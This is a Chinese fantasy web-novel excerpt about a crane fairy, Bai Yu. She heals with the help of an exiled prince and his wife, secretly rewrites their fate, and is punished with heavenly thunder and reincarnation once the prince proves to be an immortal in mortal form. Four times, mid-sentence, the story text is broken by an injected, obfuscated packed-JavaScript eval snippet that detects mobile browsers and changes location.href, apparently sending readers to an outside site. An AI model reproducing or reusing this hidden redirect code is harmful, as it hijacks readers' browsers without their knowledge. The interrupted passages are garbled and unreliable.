《回魂夜》 1. 山谷 自师父走后,学了点微末本事的白羽也出师下山了。 她本身是一只九玄仙鹤,听师父说他是在仙魔大战过后的紫云雾霭池旁捡到的她,彼时她奄奄一息,他看她可怜,于是带她上了回岸山。 她的师父是天地孕育而诞生的第一位远古神祇——芫回上神,拥有一念生一念灭的永恒之力。 但即使是这样的神,也终有陨落的一日。 从回岸山下来后,白羽靠着芫回的荫蔽,在天庭谋了个差事——替司命星君给各个分司送信。 这并不是一个好相与的差事,一是时常送错,二便是不适合常动恻隐之心的神仙来做。 恰巧白羽就是那个心软的小仙。 一日,司命星君编好了一本新的命谱子,命白羽加急送往佛现山。 白羽化为原身,一路向北极速飞行,谁知半空突遇疾风逆流,不恰巧地正中其身,她顺着风向被带到了北荒的一处山坳里,也受了重伤。 看着被荆棘刺穿透的侧翼,想着司命的谱子怕是不能按时送到佛现山了,因受了重伤,她那点半吊子法力也全失了。 此刻,她绝望地想着会不会死了都没有人知道。 白羽在荆棘丛里躺了一天一夜,渴了就侧头喝点露水,饿了就啄点虫子吃,等到第三日,日头越来越烈,她口渴再没有露水可喝,饿了也没有小虫子可充饥之时。 终于等来了能救她性命之人,穿着碎花布裙的年轻女子一声尖叫,惊醒了快要晕厥的白羽。 “启哥哥,你快来看!这里有一只好大的鸟!”白羽无从辩驳她本是一只仙鹤,只盼她能发善心救她就好。 白羽虚弱地睁开眼睛,看到因女子叫声而步来的一双麻布面长靴。 穿长靴的男子蹲下后,白羽看到了他的相貌,微微泛蓝的眸色,带着恰到好处的笑意,仰头看向女子:“夫人这可就说错了,我觉得它不是一只普通的鸟。” 白羽吓得不敢动,心想:完了,难道这个凡人男子能看出我的真实身份? “依我看,它应该是前几日被大风从别处吹来的仙鹤。” 白羽松了一口气,幸好没被认出来。 随后他们把她搬回了居住的地方,那是一座很小但却很精巧的农舍,房间里的摆件样样齐全,看磨损的程度,这对年轻夫妻应该是在这里住了很久了。 男子略微懂点药草,是故出门为她寻药,叮嘱女子看好她,不要让伤势再恶化。 女子乖巧地点点头,待男子出门后,搬了把椅子坐在她面前,开始絮絮叨叨地跟她讲话。 “你不要担心啊,启哥哥很厉害的,等他找来草药,给你用上,你就会好起来的。你是从哪里飞过来的啊?前几天天气不是很好,刮了特别大的风,你应该是被风从天上刮下来的吧。因为风太大了我们砍的柴都没有来得及拿出去卖掉……” 白羽撇过头去,不愿再看她。 女子看她动作,连忙道:“你是不是渴了?还是想吃点东西,你等着,我去给你拿。” 接下来,白羽就从这个话唠女子的口中得知,他们夫妻原本是渊国人士,后来因躲避仇家追杀,避走此地,男子名叫叶启,是渊国最出众的三皇子。 白羽则是左耳朵进右耳朵出,她从未见过如此话多的人,一张嘴就像竹筒倒豆子似的一点不剩,全倒了出来。 不过,叶启?这个名字怎么有一丝丝的耳熟,好像是在哪里听过或是看过…… 在她还没理出思绪之时,等了一下午的男主人——叶启采药回来了。 宣兰立马丢下她这个“伤员”,兴高采烈地迎了出去,白羽透过窗柩缝隙看到他们亲密无间的画面,也不由得感叹,好一对神仙眷侣。 叶启长身玉立,这世间就是有这样一种人,即使他身穿麻布葛衣,你也没办法小视他一分,而宣兰柔弱娇小,亭亭玉立,两个人站在一起相得益彰。 叶启进门后,先查探了一下她被荆棘刺穿的左翼,因为没有得到及时的处理,连日以来,沾染泥土、露水和干涸的血迹混在一起,这些污秽令伤口化脓,伤势看起来十分严重,他却松了一口气,幸好所采的草药都是对症的。 宣兰在一旁担心地询问伤势是否严重,能不能治好,要不要去城中找个兽医之类的问题。叶启没像白羽那般不耐烦,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780753|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理草药一边语气温柔地安慰她,别担心,一定会好起来的。 就这样,叶启采来的那些草药连敷三日,伤口已经在慢慢地结痂了,伤好得差不多了,送信的工作也该提上日程了。 这天早上,白羽站在院子里小心翼翼地挥动着刚刚好起来的双翼,用恢复了五成的法力加快伤口愈合,叶启拎着一桶水刚好从外面回来。 看到她在挥动翅膀,连忙放下木桶拦住她道:“诶,先别急着飞动,再敷几日药,等好得差不多了再动也不迟。” 白羽虽然着急,但对于救命恩人的话还是听的,停下了挥动。 叶启把水缸添满之后,又在院子里劈柴,一早上忙里忙外的只有叶启一人,白羽疑惑,难道今日宣兰不在家吗? 与他们夫妻二人同住的这几日,白羽也算是看清了,宣兰天真胆小,毫无心机;叶启聪明机敏,极善体察人心。 原本是八竿子打不着的人,却偏偏有这份缘法,这么一看,真是般配极了。 白羽站在小院中间,叶启抱着劈好的柴每次路过她时都得绕一下。为了不碍事,白羽后退几步站定。 小院角落里,有夫妻俩养的几只鸡,周围用小木棍插着,用以围挡。 白羽腿高,后退时一不注意就跨了进去。她一个人……一只鹤站在鸡群里,细细直直的两条腿,洁白无瑕的羽毛,高洁挺拔的脖颈,优雅的身形孤零零地站在一群低头啄食的杂毛鸡群里,便显得格外的格格不入。 叶启抱着劈好的木柴起身时,恰好就看到了这一幕,他笑得弯下了腰,浅蓝色的眼眸里盛满了笑意,半是调侃半是认真地对白羽说:“我今日才知何为‘鹤立鸡群’。” 白羽也听出了叶启在开她的玩笑,于是挥着翅膀佯装愤怒地从鸡群里走了出来。 等叶启把柴劈得差不多的时候,一上午不见踪影的宣兰从外面回来了,她胳膊上挎着一只满满当当的菜篮。 从言谈中,白羽得知她是去不远处一家农户的菜田里摘菜了,安静了一上午的小院里又响起了她的欢声笑语。 白羽理了理身上的羽毛,她有时候真恨不得宣兰是个哑巴。 2. 杀意 夫妻二人合力把叶启劈好的木柴垒进廊檐下的柴架上,宣兰热情洋溢地与叶启说着她在山下的见闻。 农户夫妇菜园里的菜长势有多么的好,田大嫂的儿媳妇给她生了一个大胖孙子,刘三姐离家多年的丈夫终于回来了,诸如此类鸡毛蒜皮的事情。 叶启没有丝毫不耐烦的样子,一直笑意盈盈地应和着她,直到她说到农户夫妇家里今天来了一群生面孔的时候,才一脸严肃地向她询问事情的始末。 宣兰不明所以地又讲了一遍,而后恍然大悟:“你是说……他们?” 叶启沈默地点点头,他向来不笑也带着三分笑意的脸,此刻却格外阴沉,宣兰察觉到他情绪躁动不安,还乐观地让他宽心,“说不定,他们只是城里来贩菜的菜农呢?” 叶启不似她那样心宽,这片竹林浓密异常,从外到内如果没有人带着,很难找到他们的小木屋,是不是那些人,还要再看看,不能做惊弓之鸟,但也不能手无缚鸡之力,任人宰割。 及兰草的药性很大,叶启给白羽敷完最后一次药,她就昏睡了过去, 等她再次醒来时,窗外已满是剑戟相撞的“兵兵乓乓”声,她匆匆忙忙地趴到门边张望,院子里刚刚架好的木柴被踢的到处都是,围着小院子的篱笆墙躺倒在地上,鸡飞狗跳,一片狼藉。 叶启手持长剑被十几个黑衣人围在中间,因着怀里护着宣兰,无法施展,身上沾染了不少血迹。 救命恩人危在旦夕,白羽强行催动法力,冲了出去,双翼一振,挥退了叶启四面的黑衣人。她平日里疏于练功,法力并不怎么高强,此时已是强弩之末,不可久战,便急急地朝他们俩道:“快上来!” 叶启夫妇皆震惊于她竟然可以口出人言,双双呆立在原地不动,被劲风震退的黑衣人此时又如潮水一般从四面八方涌来,白羽再次挥翅震退几人,叶启回过神来,从善如流地抱起宣兰,提气落在了白羽背上。 她一声唳鸣,随即飞上九天,消失在这些黑衣人眼前。 十几名黑衣杀手盯紧蓝天,领头人愤愤扯下脸上的布巾,那双不常暴露于阳光下的眼睛里布满了冷酷与戾气,咬着牙齿道:“给公子发信,看是否需要搜山。” 白羽背负着两个人根本飞不了多远,又加之她重伤并未痊愈,很快便出现了体力不支的现象,叶启拍了拍她的脖子提议道:“往右十步远的下方有一个很隐蔽的山洞,是我采药时发现的,我们可以先去那里避一避。” 白羽按照叶启的指引在两座大山的夹缝里找到了那个山洞,从山顶上蔓延下来的枯枝藤蔓,密密麻麻像帘子一样遮盖了山洞的入口,如果不是叶启进去过,站在外面是绝对看不出这里隐藏着一个山洞。 进入山洞后,叶启熟练地从角落里抱出一堆干柴,生了火,宣兰立马去查看他胳膊上的伤势,一身麻布衣服染了斑斑血迹,形容十分狼狈,而他却一脸从容,微笑着安慰爱妻,“不碍事,都是他们的血。” 白羽发问:“那些都是什么人?” 叶启和宣兰对视一眼,脸上都不由自主地浮现一抹伤感和苦笑,叶启对白羽一礼,斟酌着开口:“此番多谢姑娘搭救之恩,我夫妻二人才得以虎口脱险。”顿了顿又道:“至于那些人……就说来话长了。” 叶启原是佛现山下渊国三皇子,宣兰是国师之女,两人是指腹为婚,自幼青梅竹马的情谊,原本以为等年纪一到,就可以结为夫妻,谁知后来国师勾结一伙乱臣贼子犯上作乱,意图谋反。落败后,渊国皇帝判他全家斩首示众,这其中自然也包括与叶启订有婚盟的宣兰。 叶启多次去求他父亲赦免无辜的宣兰,均被拒见。 一个君主的权威是无论无何都不能被挑战的,妄图触碰这个界限的人都得死。 这是叶启的父亲那个时候给他的唯一一句话。 叶启与宣兰感情深厚,不能眼睁睁地看着她等死,于是在做了各种打算之后,带着她越狱了,之后在多方势力的搜捕下,在这个小山沟里隐姓埋名过了这么几年安稳日子。 他们时时刻刻保持警惕,可是没想到,如今风波再起…… 此时,渊国皇宫里,一名锦衣华服的青年男子懒洋洋地靠坐在一把雕花木椅上,嘴角挂着颇具意味的笑容:“搜山?那倒是不必,去告诉他们把人都撤回来,我自有办法,我这个好哥哥为了一个女人不惜叛国,在那乡野之地过了这么多年苦日子,也该是时候让我的好父亲知道一下了……呵呵!” 他们三人在山洞里待了两个时辰,夜色即将来临之时,白羽独自出来查看,山中方圆十里除了他们就没别人了,她又在附近蹲守了一个时辰,还是没有发现丝毫黑衣人的踪迹。 想着叶启夫妇还在饿肚子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780754|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是偷偷潜回小屋拿了些食物。 虽然外面已经没有了危险,但是为了谨慎起见,叶启还是决定在山洞里再躲一晚。 第二天一早,白羽又走出山洞,沿着昨天搜寻的范围往前扩大了一圈,还是一无所获,叶启和宣兰回到小竹楼后,白羽也随即返回。 白羽道:“我探查了周围所有的地形,都没有发现他们埋伏的痕迹,想来是安全了。” 叶启照顾着疲累的宣兰,感激地朝她点点头,“没有发现的话,想来是撤走了,看来是不想要我们的命了,至于接下来会怎样,那就兵来将挡,水来土掩吧。” 白羽在此地已经耽搁了太久,她还有任务在身,确认了他们的安全,便向叶启提出辞行。 分别后,白羽飞了一段时间,突然想起她在什么地方见过叶启这个名字了。 连忙掏出司命的卷轴,《佛现山·卷一》渊国三皇子叶启,在看到等她离开后,渊国朝廷派人来迎叶启夫妇回国,回国后,皇帝赦免了宣兰的死罪,一切皆大欢喜,皇宫里正在大肆筹备叶启与宣兰的喜宴。高朋满座,推杯换盏,叶启中了敌人的调虎离山之计,宣兰被虏,叶启发动全城兵力,最后找到的只是一具冰冷的尸体,穿着大红嫁衣,惨死在他们的小木屋里…… 而后来,叶启痛失所爱日日缠绵于病榻,没几年就病逝了,他的弟弟接管皇位,三年后,渊国灭。 一对神仙眷侣就这样相继离世,令所闻者不胜唏嘘。 白羽幼年时被芫回领回山上,调皮顽劣,不听教化,对于芫回教的正经法术并不怎么勤奋练习,反倒对那些禁忌法术显露出尤为强大的学习兴趣。 因着芫回的强大和对她的宠惯,没有人敢对她的行为指手画脚,以至于芫回辞世后,她没有一技傍身,只能在司命跟前当一个送信的小仙。 但这次她想帮帮他们——逆天改命,这个禁术就是那些年胡闹的时候,在芫回的藏书楼里看到的,只是此前从未用过…… 这一次,他们的命运不再是双双身亡,落满遗憾,而是叶启和宣兰回国后,渊国皇帝赦免了宣兰的死罪,并清理了朝中有野心的一群人,封叶启为太子,宣兰为太子妃,帮他们筹备大婚,渊国皇帝驾崩后,叶启践祚,宣兰入宫为后,叶启至死后宫只她一人,帝后二人和美到老,国家风调雨顺,是后世中广为流传的佳话。 3. 仙君 白羽路上耽搁了太长时间,所幸天上一天,人间一年,她在人间的那半个月仙界也不过几盏茶的时辰。 按照地图的指引,找到了佛现山仙君的洞府,佛现山的仙君是一个修行上万年的女子,她原身是一条白蛇,人美心善是出了名的,奈何白羽自小最怕蛇,见了她实在是怕得很,人家留她吃饭,吓得她拔腿就跑。 仙君摇摆着她的大尾巴,一脸莫名地站在洞府外,也不知这个小仙怎么了,看了一眼司命的卷轴,确定没什么问题就收入了阁楼。 从佛现山下来,白羽一时之间也不知道该去哪才好,以前师父还在的时候,回岸山就是她的家,无论她在外面惹了多大的祸,芫回总是会帮她一一摆平,想着想着,也就不由自主地向回岸山的方向飞。 从前的回岸山因为有芫回上神,每日里人来人往,极为热闹,就连天庭的那几位也都曾是这里的常客,可如今的回岸山,灵气稀缺,门可罗雀,与过往不可同日而语。 白羽从进入山门起,就觉得回岸山还是原来的回岸山,但回岸山又不是原来的回岸山了。 师父还在世的时候,百花仙子极少来回岸山做客,偶然有的那么几次,就连她喝过茶水的杯子,师父也都悉心保存了下来。 白羽拿来软布,把那几只茶杯一一擦拭了一遍,她想茶杯干净一点,师父看到了也会高兴一些吧,以便期待着百花仙子下次再来喝茶。 在回岸山一住就是数月,每日里照料着芫回种的那些稀奇古怪的花,去后山采采野果子,跟熟识的小动物们聊聊天,说说闲话,快乐胜似神仙。 山中岁月,不知几何。 白羽在回岸山待久了,准备回天庭复命,顺便看看司命还有没有什么新差事儿分派给她。 在三重天边飞边欣赏四周的云海起伏,潮汐茫茫,突然周身空气一紧,无数的牡丹花将她团团围住,一位美艳的红衣女子自牡丹花丛而起。 白羽一把挥开面前的一朵云罗,疑惑道:“牡丹姐姐,为何拦我?” 牡丹不屑地冷哼一声,“无知小儿,你犯下滔天大祸不知躲避,竟然还敢自投罗网,实在是鲁莽。” 白羽自小就与牡丹不对付,两人相遇,不是唇枪舌剑,就是大打出手,这一次也就自然而然地认为又是牡丹有什么新法子整蛊她,于是反唇相讥道:“我如何还轮不到你来管,给我让开!” 牡丹自然没想到她如此不识相,她好心好意来劝告她,她竟然不领情,呸!扁毛蛮子,就是无礼。 眼看着白羽已经向九重天的方向越飞越远,牡丹气呼呼地扬袖收花,漫天飞舞的牡丹花齐齐飞进她的袖摆里,随即飞身离开三重天。 白羽一路顺着风往九重天的方向飞,还要时时提防着可能会追上来的牡丹,所幸她并未看到身后有牡丹的身影。 在南天门前刚落地,还没喘一口气的空隙,就被天兵天将拿长枪指着团团围住,白羽诧异至极,她近来一直猫在回岸山,也没犯什么要让人家拿长枪指着她的罪名吧? 白羽问:“你们这是做什么?” 天兵天将一副公事公办的态度,冷硬的语气道:“奉天帝旨意,捉拿司命星君座下仙使白羽归案,如有违抗,格杀勿论!” 白羽:我这是犯了什么罪,都到了违抗就要格杀勿论的地步了? 想问还没来得及问出口的话,却已经被天兵押着进了南天门,白羽想方设法和近旁的人套近乎,可是人家理都不理她一下。 天兵把她押送到蓬莱殿前,由一人进去通报,不一会儿,就从殿内传来了带她进去的声音。 蓬莱殿向来是三尊会审的地方,此时中庭空荡,四周高低错落的云台上坐满了漫天神佛,每一个坐台的位置高低代表了此人在仙界的地位。 前堂大庭,一把金碧辉煌紫云缠绕的大椅上端坐着的正是天帝,在他下方设了三个坐席,正是三尊的位子。 这种阵仗在平静沉闷的仙界真是少见极了,最近的一次还是万年前,仙界芒流上仙私通魔界魔女,在仙魔大战中泄露仙界排兵布阵图,致使仙界丧失五万天兵天将以及至今仍被魔界占领的三重天紫云雾霭池。 白羽不晓得她犯的天规难道比私通魔界还重,以至于三尊会审要漫天神佛作陪都不够,连天帝也要亲自监督。 殿内气氛实在压抑,神仙们私底下交头接耳,面面相觑,就是没有人理她,于是“带罪之人”很自觉地发问:“敢问天帝陛下,小仙到底犯了什么罪,以至于扰了诸位尊者的清修?” 天帝没有理会她的意思,反倒是三尊之一的哲天仙尊愤怒地起身细数了她的几大罪名,仙尊道:“其一,公务在身期间,滞留人间;其二,违反天规,改写凡人天命;其三,干预紫翎仙君命轨,致使仙君神魂受创。只此三条,皆尔之罪,罄竹难书。” 白羽不敢置信地看着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780755|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位仙尊,心道仙界的天规如今都这么不要脸了吗?什么大帽子都敢给别人扣,前两条属实,她没话可说,可这第三条未免太过牵强了。 她自有记忆以来,虽然听闻过不少这位仙君的传闻,可却从未见过,传闻中的紫翎仙君法力高强,冷漠不近人情,在万年前的仙魔大战上以一人之力挽救仙界颓势,否则,仙界如今失的可就不止五万天兵和三重天紫云雾霭池了。 仙君本有望晋升上神,可他自己不愿,至于原因,传闻太多,以至于没有人知道真正的原因,可谁也没办法否认他的强大。 白羽极力反驳,“我何时干预过紫翎仙君的命轨了?来九重天至今,我甚至都没有见过紫翎仙君,何来干预他命轨之说,实属胡扯!” 哲天仙尊看了不予作答的天帝一眼,有些忐忑地道:“莫要狡辩,种种罪过证据确凿,我们还能冤枉你不成?” 实在不是他胆小怕事,而是按照辈分来讲,中庭站着的那位比座上的那位还要大一个辈分,这漫天神佛里也只有那位西天如来才有资格教训她一二。 白羽还要再狡辩,天帝却在此时发话,语调里带着上位者固有的淡然与优越感,莫名地让人觉得讨厌,“没见过紫翎仙君吗?司命,把卷轴拿给她看。” 司命星君自西侧坐台上下来,稍稍迟疑了一下,还是依着天帝的命令,把袖管里的卷轴递给她。 白羽接过卷轴,用眼神迫切地询问司命这卷轴里到底写了什么?奈何司命一直瞅着自己的脚尖,就是不肯抬头看她。 她无法,目之睽睽之下,上位者众多,可无论如何也不能让他们随便给她安上这“莫须有”的罪名,否则回岸山的尊严该往哪里放! 打开卷轴看了一眼她就懵了,整个人就像被天雷劈了一样,从头到脚都弥漫着一股心如死灰的味道。 怪不得,她觉得人间的叶启不同于凡人; 怪不得,他们敢给她安这样大的一个罪名; 怪不得,她说她没见过紫翎仙君没人相信; 怪不得…… “天历两万八千一百一十三年元日,紫翎仙君入轮回历练,生于佛现山附属方国渊国,三皇子叶启也……”后面是什么已经不重要了,她现在只需要知道紫翎仙君就是人间的叶启,她为叶启和宣兰夫妇逆天改命,从而伤了下凡历练托生于叶启之身的紫翎仙君的神魂。 这因果……真是教人无法说。 4. 轮回 “叶启就是紫翎仙君?”白羽似是不敢置信一般再次向天帝和司命确认了一遍。 天帝语气冷冰冰的,“如今证据确凿,你可还有什么话要说?” 刚在司命那里任职的时候,她就被三申五令过,不可乱动不该动的恻隐之心。 她许是人间的话本子看得多了,脑子里多进了些才子佳人的离人泪,以至于不考虑后果就犯了大忌,不过……她并不后悔,叶启与宣兰是对苦命鸳鸯,又关紫翎仙君什么事呢?再来一百次,她还是会管。 “小仙无话可说,甘愿受罚!”这番慷慨就义的陈词说的是掷地有声,可明显有点不合时宜了。 芫回上神是上古战神,存在的时间可比天帝一家发迹的时间久得多,自古以来,受尽世人尊崇,可这份尊崇本应该只属于至高无上的天族。 好在芫回陨落,他唯一的弟子却没能如他一般声名远播,不足以构成威胁,天帝便也没有把白羽当成个角色看,当初也只是让她在司命那里当了一个不大不小的送信仙使,就是这个不起眼的角色,却能为别人“逆天改命”而不使自己损伤丝毫,这样违反天帝所制定的规则的存在,天帝此时是绝对不允许的。 但是作为九重天的最高掌权者,又怎么能体现自己想急切地去迫害一个小仙使,未免显得太过心狠手辣,不能容人,这时,三尊会审的与会人员就显得很有必要了。 天帝道:“诸位仙家觉得如何处置才最为妥当呢?” “这……”高台上大大小小的神仙们,你看看我,我看看你,谁都不愿意做这个挨枪打的出头鸟,一个个把欲言又止,袖手中庸之道发挥的炉火纯青。 天帝微微皱了皱眉,看向东侧最高的云台上,开口道:“周信仙尊的意见呢?” 周公是掌罚司的副君,有参与修改天规的资格。 “依臣之见,白羽仙使触犯天规确凿无疑,如何处罚,应量刑而定。”周信一副不愿得罪人的言辞完毕,可这不是天帝要的结果,于是他又追问道,“那依你看,该如何量刑而定?” 蓬莱殿的气氛如凝结了一般,陷入了死一般的沉寂,天帝的意思是……是什么,大家都猜得不离一二。 周公望了望掌罚司的另一位副君,两人私下里不着痕迹地神交一番,周公道:“依臣之见,《典狱司·卷一》有言:仙者触犯天规,处罚有二,一为剔去仙骨,永休于天牢;二为天雷加身,入轮回得永离。白羽仙使所犯过错应属第二类。” 天帝满意,“可。二十八道烈天雷,九九八十一世轮回,生生世世受世人所困之苦,司命即刻安排吧。” 白羽静默地立于中庭,听着上位之人对她的罪名宣判,表面毫无波澜,其实她心里怕极了,烈天雷,二十八道,入轮回,八十一世…… 就在天帝一锤定音准备离席时,司命从旁上前一步,拱手道:“天帝陛下且慢,臣以为如此宣判于理十分得当,但于情却稍有不妥。” “哦?有何不妥?你且说来。” 司命头低地更下,恭恭敬敬道:“一来白羽仙使灵力低微,怕是承受不住那二十八道烈天雷的威力,没等入轮回就会殒命;这二来,她是回岸山唯一的传人,芫回上神故去,对他唯一的徒弟,我们是否应该宽待一些。小仙斗胆提议,万望天帝陛下原谅。” 本来掩藏于底下的实情,因为没有人提,天帝也就装作视而不见,但司命提了出来,天帝佯装恍然大悟:“司命言之有理,是朕思虑不周,又怎会怪罪于你。芫回上神的面子虽然需要照顾,但‘没有规矩,不成方圆’,天庭也有天规需要维护,否则,以后人人都存有这种侥幸心理,那天庭岂不是乱了套了!” “是,是,天帝陛下说的是。”众人起身应和。 天帝满意,“即是这样,那便看在芫回上神和回岸山的面子上,免去她一十九道烈天雷的处罚,其余的处罚可不能再少了!众卿还有什么意见吗?” 好话赖话都让你一个人说了,其他人哪里还有什么意见!一场荒唐的会审就此落幕,白羽被天兵天将压往天雷池,众仙随之换了个场地。 上刑台前,趁着掌罚司的天官正在向众人宣读天规,司命悄悄拉过神思恍惚的白羽,递给她一样东西,“把这个含在嘴里,九道烈天雷的痛苦,它能帮你吸收七分,你只需承受其中三分的痛苦。” 看白羽还傻愣愣地站着,司命一把塞进她手里,“拿着!还愣着干什么。” “你要记着,九道烈天雷,不算什么,八十一世轮回,更不算什么,到了凡间不该问的别问,不该想的别想,不能懂的就别去懂,凡事无定准,一切皆虚妄。” 白羽也不知听没听进去,只自顾自地点头。 司命有些焦心地看着她,她却语声低低地问:“叶启真的是紫翎仙君吗?” 。 “我刚说的话你又忘了?”司命恨铁不成钢地道:“不该问的别问,不该说的别说,不能懂的就别去懂!切记!” 白羽眼睛里最后一丝光亮也渐渐消失。 天庭没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780756|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有日升月落,但今日天边的云彩却像是被紫霞仙子格外用心的点染过,绚丽夺目得过分。 宣读结束,众神各归其位,白羽被压往天雷台承受刑罚,她悄悄地把司命给她的避雷丹含在嘴里,在所有人的注视下走向高台。 那一日,后来几乎无人愿意回想,烈天雷比普通天雷威力要大得多,几乎与晋升上神时的紫天雷等重。 天帝又罚了九道,虽说有司命给的避雷丹抵挡了七分,但剩下的那三分也够她受得了,进入轮回之境时,是被人抬着进去的。 这一日,司命独自来到十三重天紫翎仙君的仙府,紫翎仙君喜静,因此没有随侍,整座大殿都被云雾笼罩着,司命在门口彳亍了一会儿,便上前敲门,“仙君在否?司命前来拜访。” 回声在空荡荡的大殿内传播,司命等了不久,就从殿内传来走动的脚步声。只见一件灰色长袍披身,长发未束的紫翎仙君为他拉开了门,苍白的面颊上布满了病容,浅蓝的眸子里却映着温和的笑意:“司命来了,进来吧。” 司命神思不属地跟着紫翎仙君坐定,才道:“仙君怎的伤得这般严重?” 紫翎仙君为彼此斟了一杯茶,淡淡一笑并不答话,反问道:“今日怎么有空来我这里?” 一经提醒他才恍然,自己是来还东西的,从袖中拿出那枚借予白羽的避雷丸:“小仙是来归还此物的,多谢仙君不吝借予。” 紫翎从他手中接过,眸色里染上一抹怀念,这枚避雷丸还是当年宣兰受雷劫时芫回上神的赠予。 “芫回上神的徒弟……” 司命:“并无大碍,仙君宽心。” “这事本来也是受了我二人的无妄之灾,如此司命你就多多照拂她吧。” 司命拱手:“那是自然。” 紫翎手中摩挲着避雷丸,面上神情恍惚,颇似不解道:“我连日以来感受不到丝毫宣兰的气息,司命你可知这是为何?” 司命惊诧:“怎会?以往每结束一段轮回,仙兰宫的气息不是最浓郁的吗?” “还差一百世就可以了,却突然找不到她了……”紫翎苦笑一声,含着无尽的无奈。 司命:“仙君万请宽心,保重身体为上,小仙必定随时留心宣兰上仙的消息。” 紫翎道了谢点了点头。 司命见他已无交谈的心思,便起身告辞。 路上一直在想:宣兰上仙的气息全无,莫不真是因为那小丫头的无心之举造成的?若是这样,那可有点难办了。 5. 托付 一片嘈杂声中,茅草搭的茶棚应声而倒,路边歇脚的行人无一受影响,就着四处飘飞的灰尘和稻草秸秆啃干粮,还不忘八卦道:“听说城东王员外家的千金今天出嫁的时候逃婚了,现在婆家还在派人四处搜查呢!” 另一个在倒下的茶棚里给水囊灌水的汗衫壮汉道:“这门当户对的婚事,她为何想不开要逃婚呢?” “嗐,这你就不知道了吧!王员外那个老了没心肝的老货,把亲生的闺女嫁的是娄知县的公子,那公子哥儿可不是什么正经人,长相不雅观不说,还是个好色之徒,整日不思科举,只知眠花宿柳,光是小妾都娶了四房,还有两个庶子早已出生,正经姑娘谁愿意嫁过去啊!” 汗衫壮汉打完了水也气愤道:“噫!那这不是把女儿往火坑里推嘛!真不是个东西!” “谁说不是呢!” “逃得好,最好一辈子都找不到。” …… 一片附和声中,人群里一个从大娘手里接过干烙饼正在啃的小丫头,头又微不可见地低了下去。 她把自己抹得灰头土脸,衣服也破破烂烂的,活像是刚从难民堆里爬出来,混在一群风尘仆仆、行走江湖的人之间竟然一点也不觉得违和。 大娘爱怜地摸了摸她的头,问道:“小姑娘这是要到哪里去?家里长辈怎么也放心你这么小的年纪出门在外。” 白羽一边啃饼一边支支吾吾道:“家里出了灾事,长辈们都死了,只有我一个人逃了出来。”说完还象征性地抹了抹眼睛,原本就不甚干净的脸这下彻底看不出本来面目了。 她这一番说辞在大娘眼里就是可怜年幼,飞来横祸,家里人无一生还,孤苦伶仃,更是惹得大娘爱怜不已。 等一群人歇息好了之后,大娘和同行的人商量后便带着她上路了。 同行路上知道了大娘一家原是柳州人士,此行是从山南贩货绕道永州,接下来要去肃州将手上这批货卖出去,等再次返回柳州就已经快到腊月时节了。 大娘有一个约莫十岁左右的小女儿,名叫蕊儿,跟随在商队里,小姑娘人长得漂漂亮亮的,笑声清脆悦耳,嘴甜又可爱,很快就承担起了照顾白羽的任务。 蕊儿看她头发乱如蓬草,脸上也被尘土和汗水糊得看不见本来的肤色,她打了一盆水,把帕子沾湿递给白羽,“大姐姐,你擦擦脸吧。” 看白羽不接,蕊儿凑近她想撩起她颊边的乱发帮她擦脸,被白羽躲了过去。 蕊儿低声细语道:“今天太阳落山后,我们会到达柳荫镇,到时候商队会在柳荫镇歇脚,你先将就一下用帕子擦一擦,晚上住客栈再叫水沐浴,好吗?” 白羽还是摇头。 蕊儿彻底没了办法,把帕子搭回了马车的木架上,从车上跳下去找她母亲去了。 马车上只剩下白羽一个人,她这才抬起头,用手把两边的乱发别到耳后,车壁上镶着的一面铜镜里映出她的面容。 她很少以女子的形态出现,眼前的这张脸也不是她的,就算是以凡人的时间来计算,看了十几年仍是不习惯。 商队一行走的是官道,行至暮色四合总算是到达了柳荫镇。 柳荫镇镇如其名,沿着湖边栽种了一条看不见尽头的柳树大道,七八月的天气里,青翠欲滴的柳条参差错落,从枝干上一直延伸到与对面的枝条相互接应,密密匝匝地遮盖在道路上空,道路下是浓荫片片。 这一片片的绿荫大大缓解了商队赶路的燥热。 